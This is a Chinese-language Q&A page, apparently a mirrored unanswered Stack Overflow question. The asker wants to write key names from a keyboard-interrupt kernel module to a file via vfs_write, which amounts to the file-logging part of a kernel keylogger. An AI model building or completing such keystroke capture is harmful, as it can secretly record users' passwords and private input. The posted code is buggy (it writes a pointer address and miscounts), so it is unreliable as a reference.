vfs_write内核到用户空间文件

时间:2018-12-05 14:25:53

标签: c linux kernel userspace

我正在尝试通过键盘中断模块在用户空间中写入文件 我正在使用vfs_write写入文件。

static char *key_names_caps[] = {
   "-", "<ESC>",
   "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=",
   "<Backspace>", "<Tab>",
   "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P",
   "[", "]", "<Enter>", "<LCtrl>",
   "A", "S", "D", "F", "G", "H", "J", "K", "L", ";",
   "'", "`", "<LShift>",
   "\\", "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/",
   "<RShift>",
   "<KP*>",
   "<LAlt>", " ", "<CapsLock>",
   "<F1>", "<F2>", "<F3>", "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>", "<F10>",
   "<NumLock>", "<ScrollLock>",
   "<KP7>", "<KP8>", "<KP9>",
   "<KP->",
   "<KP4>", "<KP5>", "<KP6>",
   "<KP+>",
   "<KP1>", "<KP2>", "<KP3>", "<KP0>",
   "<KP.>",
   "-", "-", "-",
   "<F11>", "<F12>",
   "-", "-", "-", "-", "-", "-", "-",
   "<KPEnter>", "<RCtrl>", "<KP/>", "<SysRq>", "<RAlt>", "-",
   "<Home>", "<Up>", "<PageUp>", "<Left>", "<Right>", "<End>", "<Down>",
   "<PageDown>", "<Insert>", "<Delete>"
};



    int file_write(struct file *file, unsigned long long offset, const char *data, unsigned int size) 
    {
        mm_segment_t oldfs;
        int ret;

        oldfs = get_fs();
        set_fs(get_ds());

        ret = vfs_write(file, data, size, &offset);

        set_fs(oldfs);
        return ret;
    }


    static void write_byte_by_byte(char *pos[]) {

       unsigned int count = 0;
         while (*pos != '\0') {
            count += 1;
          pos++;
           //printf("%c\n", *(pos++));
          }
       file_write(fp,0,  (const char *)&pos, count);
    }

但是我无法读取此vfs_write函数输出的文件。文件输出给了我垃圾值。另外,您能告诉我如何将给定数组中的字符串写入vfs_write所写的文件中吗?

我需要能够将<DELETE> 9作为字符写入文件。

0 个答案:

没有答案
相关问题